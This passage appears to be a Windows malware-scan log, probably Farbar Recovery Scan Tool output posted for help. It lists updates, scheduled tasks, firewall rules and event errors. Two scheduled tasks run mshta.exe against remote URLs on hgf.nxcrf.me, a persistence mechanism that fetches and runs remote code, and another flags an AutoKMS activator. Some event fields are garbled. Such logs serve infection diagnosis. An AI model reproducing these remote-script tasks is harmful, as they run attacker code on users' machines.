Update for Japanese Microsoft IME Postal Code Dictionary (HKLM-x32\…\{15015752-9990-4516-A2B1-93823281FB8E}) (Version: 15.0.1759 - Microsoft Corporation)

Update for Japanese Microsoft IME Standard Dictionary (HKLM\…\{4DF9BC73-D405-4C3B-A0EA-1E390A8AFC73}) (Version: 16.0.1404.1 - Microsoft Corporation)

Update for Japanese Microsoft IME Standard Dictionary (HKLM-x32\…\{7DB71278-9AD7-4480-AB08-8649C5010B17}) (Version: 15.0.1215 - Microsoft Corporation)

Update for Japanese Microsoft IME Standard Extended Dictionary (HKLM-x32\…\{78CE66A9-85AF-4BD8-8FB7-35B5F3846C00}) (Version: 15.0.1215 - Microsoft Corporation)

Update for Japanese Microsoft IME Trending Words Dictionary (HKLM\…\{B939BFEB-824F-4456-A4EE-2B86ED04033D}) (Version: 16.0.1016.1 - Microsoft Corporation)

Update for Skype for Business 2015 (KB2889853) 64-Bit Edition (HKLM\…\{90150000-012B-0409-1000-0000000FF1CE}_Office15.PROPLUS_{40930C8E-A677-414C-A72F-DFDEB10738FB}) (Version: - Microsoft)

WinRAR 5.20 beta 4 (64-bit) (HKLM\…\WinRAR archiver) (Version: 5.20.4 - win.rar GmbH)

==================== Custom CLSID (selected items): ==========================

(If an entry is included in the fixlist, it will be removed from registry. Any eventual file will not be moved.)

==================== Restore Points =========================

01-05-2015 04:38:33 Windows Update

09-05-2015 06:40:50 Scheduled Checkpoint

17-05-2015 08:28:10 Scheduled Checkpoint

==================== Hosts content: ==========================

(If needed Hosts: directive could be included in the fixlist to reset Hosts.)

2013-08-22 09:25 - 2013-08-22 09:25 - 00000824 ____A C:\windows\system32\Drivers\etc\hosts

==================== Scheduled Tasks (Whitelisted) =============

(If an entry is included in the fixlist, it will be removed from registry. Any associated file could be listed separately to be moved.)

Task: {07799AFF-B634-4464-B754-E7F8B62B8A59} - \AutoKMS No Task File <==== ATTENTION

Task: {085A2C3D-A110-4114-8833-28632F143606} - System32\Tasks\Microsoft\Office\OfficeTelemetryAgentFallBack => C:\Program Files\Microsoft Office\Office15\msoia.exe [2014-01-23] (Microsoft Corporation)

Task: {19C8EA1A-F067-4AB2-92A7-4E94C0F16E2A} - System32\Tasks\Microsoft\Office\OfficeTelemetryAgentLogOn => C:\Program Files\Microsoft Office\Office15\msoia.exe [2014-01-23] (Microsoft Corporation)

Task: {27546AA4-2DB6-4FF8-BAA9-81D2F124317C} - System32\Tasks\Microsoft\Windows\Setup\gwx\runappraiser => C:\Windows\system32\GWX\GWXConfigManager.exe [2015-03-23] (Microsoft Corporation)

Task: {375729D2-2ED9-493F-9E48-A638558EE8D2} - System32\Tasks\Microsoft\Office\Office 15 Subscription Heartbeat => C:\Program Files\Common Files\Microsoft Shared\Office15\OLicenseHeartbeat.exe [2014-01-23] (Microsoft Corporation)

Task: {3D78686D-E05A-47AD-83E3-FE0B12B33675} - System32\Tasks\Microsoft\Windows\RemovalTools\MRT_HB => C:\windows\system32\MRT.exe [2015-04-15] (Microsoft Corporation)

Task: {45E94518-84A6-4F31-B218-982C694A221B} - System32\Tasks\Sony Corporation\Sony Home Network Library\SOHLib SOHDms => C:\Program Files (x86)\Common Files\Sony Shared\SOHLib\SOHDms.exe [2014-01-16] (Sony Corporation)

Task: {4EE95257-874B-4705-9CD1-9132CCD13488} - System32\Tasks\Microsoft\Windows\Setup\gwx\refreshgwxcontent => C:\Windows\system32\GWX\GWXConfigManager.exe [2015-03-23] (Microsoft Corporation)

Task: {512B723C-F25E-416F-B3A3-0A9198437E41} - System32\Tasks\Microsoft\Windows\Setup\gwx\launchtrayprocess => C:\Windows\system32\GWX\GWX.exe [2015-03-23] (Microsoft Corporation)

Task: {80D49E3E-9EE7-4EED-BD53-F5B7856BE361} - System32\Tasks\RegWrite => mshta.exe http://hgf.nxcrf.me/set_inf2.php?cccid=J9aGYL4vo1WIAY2KMkWW0oO3cu035A1s

Task: {D19267E6-773D-459D-8F33-61F198436B41} - System32\Tasks\GoogleUpdateTaskMachineCore => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2015-05-17] (Google Inc.)

Task: {D40A2F50-06E1-4E08-A630-CFE76B54E9BA} - System32\Tasks\SystemBoot => mshta.exe http://hgf.nxcrf.me/reg2.php?cccid=J9aGYL4vo1WIAY2KMkWW0oO3cu035A1s

Task: {E778D0AA-C555-41E0-A25C-6BBEA59C2681} - System32\Tasks\GoogleUpdateTaskMachineUA => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2015-05-17] (Google Inc.)

Task: {FE24817A-C7A0-4794-A584-C7E9B921AE52} - System32\Tasks\Microsoft\Windows\Setup\gwx\refreshgwxconfig => C:\Windows\system32\GWX\GWXConfigManager.exe [2015-03-23] (Microsoft Corporation)

Task: C:\windows\Tasks\GoogleUpdateTaskMachineCore.job => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe

Task: C:\windows\Tasks\GoogleUpdateTaskMachineUA.job => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe

==================== Loaded Modules (Whitelisted) ==============

2015-03-18 14:08 - 2015-03-18 14:08 - 08898720 _____ () C:\Program Files\Microsoft Office\Office15\1033\GrooveIntlResource.dll

2015-03-18 14:08 - 2015-03-18 14:08 - 08898720 _____ () C:\Program Files (x86)\Microsoft Office\Office15\1033\GrooveIntlResource.dll

2015-01-01 17:45 - 2009-02-27 17:38 - 00139264 ____R () C:\Program Files (x86)\Brother\BrUtilities\BrLogAPI.dll

2014-07-07 18:21 - 2014-07-07 18:21 - 00410744 _____ () C:\windows\SYSTEM32\TrueColor5.2\LcProxy2.ax

2014-07-07 18:21 - 2014-07-07 18:21 - 00749168 _____ () C:\windows\SYSTEM32\TrueColor5.2\CAL2.dll

2015-05-17 15:45 - 2015-05-05 00:06 - 01252680 _____ () C:\Program Files (x86)\Google\Chrome\Application\42.0.2311.152\libglesv2.dll

2015-05-17 15:45 - 2015-05-05 00:06 - 00080712 _____ () C:\Program Files (x86)\Google\Chrome\Application\42.0.2311.152\libegl.dll

==================== Alternate Data Streams (Whitelisted) =========

(If an entry is included in the fixlist, only the Alternate Data Streams will be removed.)

AlternateDataStreams: C:\Users\Gaku\OneDrive:ms-properties

==================== Safe Mode (Whitelisted) ===================

(If an item is included in the fixlist, it will be removed from the registry. The "AlternateShell" will be restored.)

==================== EXE Association (Whitelisted) ===============

(If an entry is included in the fixlist, the default will be restored. None default entries will be removed.)

==================== Internet Explorer trusted/restricted ===============

(If an entry is included in the fixlist, the associated entry will be removed from the registry.)

==================== Other Areas ============================

(Currently there is no automatic fix for this section.)

HKU\S-1-5-21-343341084-3839607544-2116962086-1001\Control Panel\Desktop\\Wallpaper -> C:\Users\Gaku\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper

DNS Servers: 192.168.1.1

==================== MSCONFIG/TASK MANAGER disabled items ==

(Currently there is no automatic fix for this section.)

==================== FirewallRules (Whitelisted) ===============

(If an entry is included in the fixlist, it will be removed from registry. Any eventual file will not be moved.)

FirewallRules: [vm-monitoring-nb-session] => (Allow) LPort=139

FirewallRules: [SPPSVC-In-TCP] => (Allow) %SystemRoot%\system32\sppextcomobj.exe

FirewallRules: [SPPSVC-In-TCP-NoScope] => (Allow) %SystemRoot%\system32\sppextcomobj.exe

FirewallRules: [{ACA68A6B-DFC0-4043-B032-D2A89F749EAA}] => (Allow) C:\Program Files\Microsoft Office\Office15\lync.exe

FirewallRules: [{E52343A6-2ED4-473D-8FB1-B5E8F6B4CC99}] => (Allow) C:\Program Files\Microsoft Office\Office15\lync.exe

FirewallRules: [{3BE1AEB3-E9B0-414F-92BB-A8D6B6E199B4}] => (Allow) C:\Program Files\Microsoft Office\Office15\UcMapi.exe

FirewallRules: [{80AB692C-F7BF-4BB0-A890-787645DC7AA9}] => (Allow) C:\Program Files\Microsoft Office\Office15\UcMapi.exe

FirewallRules: [{604AEEF6-88D9-4D96-9FED-6BBAD6C47EE7}] => (Allow) C:\Program Files\Microsoft Office\Office15\lync.exe

FirewallRules: [{27EF2EEE-2878-4135-994A-249C2404C352}] => (Allow) C:\Program Files\Microsoft Office\Office15\lync.exe

FirewallRules: [{ADD4A570-7D07-42C5-9D0E-6B0E30A55408}] => (Allow) C:\Program Files\Microsoft Office\Office15\UcMapi.exe

FirewallRules: [{3BB97A01-65B3-4977-8C91-6C27444C43D1}] => (Allow) C:\Program Files\Microsoft Office\Office15\UcMapi.exe

FirewallRules: [{EA16D30A-8EA6-44E5-985E-6F20AAE7AC4F}] => (Allow) C:\Program Files (x86)\Common Files\Sony Shared\SOHLib\SOHDms.exe

FirewallRules: [{B0864404-2F24-48A2-907E-67C85D0D7610}] => (Allow) C:\Program Files (x86)\Common Files\Sony Shared\SOHLib\SOHDms.exe

FirewallRules: [{5BACD682-125B-42DC-9E00-0563005E480E}] => (Allow) C:\Program Files (x86)\Common Files\Sony Shared\SOHLib\SOHDs.exe

FirewallRules: [{A84E7089-B1CF-4CF9-AB62-10B300ADC2B6}] => (Allow) C:\Program Files (x86)\Sony\PlayMemories Home\PMBBrowser.exe

FirewallRules: [{C1E7702E-692D-486D-A18B-F996EEEB4D3E}] => (Allow) C:\Program Files (x86)\Sony\PlayMemories Home\PMBBrowser.exe

FirewallRules: [{A74AD677-28EE-4068-8BFA-5359C5BC7F25}] => (Allow) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

==================== Faulty Device Manager Devices =============

Name:

Description:

Class Guid:

Manufacturer:

Service:

Problem: : The drivers for this device are not installed. (Code 28)

Resolution: To install the drivers for this device, click "Update Driver", which starts the Hardware Update wizard.

==================== Event log errors: =========================

Application errors:

==================

Error: (05/17/2015 03:31:22 PM) (Source: Application Error) (EventID: 1000) (User: )

Description: Faulting application name: mbam.exe, version: 1.0.2.929, time stamp: 0x552d3ec4

Faulting module name: mbam.exe, version: 1.0.2.929, time stamp: 0x552d3ec4

Exception code: 0xc0000005

Fault offset: 0x001c3fc0

Faulting process id: 0x109c

Faulting application start time: 0xmbam.exe0

Faulting application path: mbam.exe1

Faulting module path: mbam.exe2

Report Id: mbam.exe3

Faulting package full name: mbam.exe4

Faulting package-relative application ID: mbam.exe5

Error: (05/17/2015 10:01:39 AM) (Source: Customer Experience Improvement Program) (EventID: 1008) (User: )

Description: 80070005

Error: (05/17/2015 02:18:03 AM) (Source: Microsoft-Windows-Defrag) (EventID: 257) (User: )

Description: The volume Windows RE tools was not optimized because an error was encountered: The parameter is incorrect. (0x80070057)

Error: (04/30/2015 08:52:02 AM) (Source: Application Hang) (EventID: 1002) (User: )

Description: The program LiveComm.exe version 17.5.9600.20689 stopped interacting with Windows and was closed. To see if more information about the problem is available, check the problem history in the Action Center control panel.

Process ID: dd8

Start Time: 01d08343bdc61aae

Termination Time: 4294967295

Application Path: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.5.9600.20689_x64__8wekyb3d8bbwe\LiveComm.exe

Report Id: b159d6c6-ef37-11e4-826a-600292aba7f8

Faulting package full name: microsoft.windowscommunicationsapps_17.5.9600.20689_x64__8wekyb3d8bbwe

Faulting package-relative application ID: ppleae38af2e007f4358a809ac99a64a67c1

Error: (04/30/2015 03:45:13 AM) (Source: Microsoft-Windows-Defrag) (EventID: 257) (User: )

Description: The volume Windows RE tools was not optimized because an error was encountered: The parameter is incorrect. (0x80070057)

Error: (04/29/2015 03:22:51 AM) (Source: Microsoft-Windows-Defrag) (EventID: 257) (User: )

Description: The volume Windows RE tools was not optimized because an error was encountered: The parameter is incorrect. (0x80070057)

Error: (04/23/2015 03:53:40 AM) (Source: Microsoft-Windows-Defrag) (EventID: 257) (User: )

Description: The volume Windows RE tools was not optimized because an error was encountered: The parameter is incorrect. (0x80070057)

Error: (04/22/2015 04:09:01 AM) (Source: Microsoft-Windows-Defrag) (EventID: 257) (User: )

Description: The volume Windows RE tools was not optimized because an error was encountered: The parameter is incorrect. (0x80070057)

Error: (04/19/2015 06:40:29 AM) (Source: Customer Experience Improvement Program) (EventID: 1008) (User: )

Description: 80070005

Error: (04/16/2015 03:30:58 AM) (Source: Microsoft-Windows-Defrag) (EventID: 257) (User: )

Description: The volume Windows RE tools was not optimized because an error was encountered: The parameter is incorrect. (0x80070057)

System errors:

=============

Error: (05/17/2015 04:59:34 PM) (Source: Service Control Manager) (EventID: 7034) (User: )

Description: The VAIO Entertainment Common Service service terminated unexpectedly. It has done this 1 time(s).

Error: (05/17/2015 04:59:34 PM) (Source: Service Control Manager) (EventID: 7034) (User: )

Description: The Sony Digital Media Server service terminated unexpectedly. It has done this 1 time(s).

Error: (05/17/2015 04:59:34 PM) (Source: Service Control Manager) (EventID: 7034) (User: )

Description: The BrYNSvc service terminated unexpectedly. It has done this 1 time(s).

Error: (05/17/2015 04:59:34 PM) (Source: Service Control Manager) (EventID: 7031) (User: )

Description: The Windows Search service terminated unexpectedly. It has done this 1 time(s). The following corrective action will be taken in 30000 milliseconds: Restart the service.

Error: (05/17/2015 04:59:34 PM) (Source: Service Control Manager) (EventID: 7034) (User: )

Description: The PMBDeviceInfoProvider service terminated unexpectedly. It has done this 1 time(s).

Error: (05/17/2015 04:59:34 PM) (Source: Service Control Manager) (EventID: 7034) (User: )

Description: The MBAMService service terminated unexpectedly. It has done this 1 time(s).

Error: (05/17/2015 04:59:34 PM) (Source: Service Control Manager) (EventID: 7034) (User: )

Description: The MBAMScheduler service terminated unexpectedly. It has done this 1 time(s).

Error: (05/17/2015 04:59:34 PM) (Source: Service Control Manager) (EventID: 7031) (User: )

Description: The Print Spooler service terminated unexpectedly. It has done this 1 time(s). The following corrective action will be taken in 5000 milliseconds: Restart the service.

Error: (05/17/2015 04:49:23 PM) (Source: Application Popup) (EventID: 1060) (User: )

Description: \??\C:\Windows\System32\drivers\TrueSight.sys

Error: (05/17/2015 04:25:50 PM) (Source: DCOM) (EventID: 10010) (User: GAKUSURFACE)

Description: {3EB3C877-1F16-487C-9050-104DBCD66683}

Microsoft Office Sessions:

=========================

Error: (05/17/2015 03:31:22 PM) (Source: Application Error) (EventID: 1000) (User: )

Description: mbam.exe1.0.2.929552d3ec4mbam.exe1.0.2.929552d3ec4c0000005001c3fc0109c01d090d80b9a66caC:\Program Files (x86)\Malwarebytes Anti-Malware\mbam.exeC:\Program Files (x86)\Malwarebytes Anti-Malware\mbam.exe4c08ad2c-fccb-11e4-826c-600292aba7f8

Error: (05/17/2015 10:01:39 AM) (Source: Customer Experience Improvement Program) (EventID: 1008) (User: )

Description: 80070005

Error: (05/17/2015 02:18:03 AM) (Source: Microsoft-Windows-Defrag) (EventID: 257) (User: )

Description: Windows RE toolsThe parameter is incorrect. (0x80070057)

Error: (04/30/2015 08:52:02 AM) (Source: Application Hang) (EventID: 1002) (User: )

Description: LiveComm.exe17.5.9600.20689dd801d08343bdc61aae4294967295C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.5.9600.20689_x64__8wekyb3d8bbwe\LiveComm.exeb159d6c6-ef37-11e4-826a-600292aba7f8microsoft.windowscommunicationsapps_17.5.9600.20689_x64__8wekyb3d8bbweppleae38af2e007f4358a809ac99a64a67c1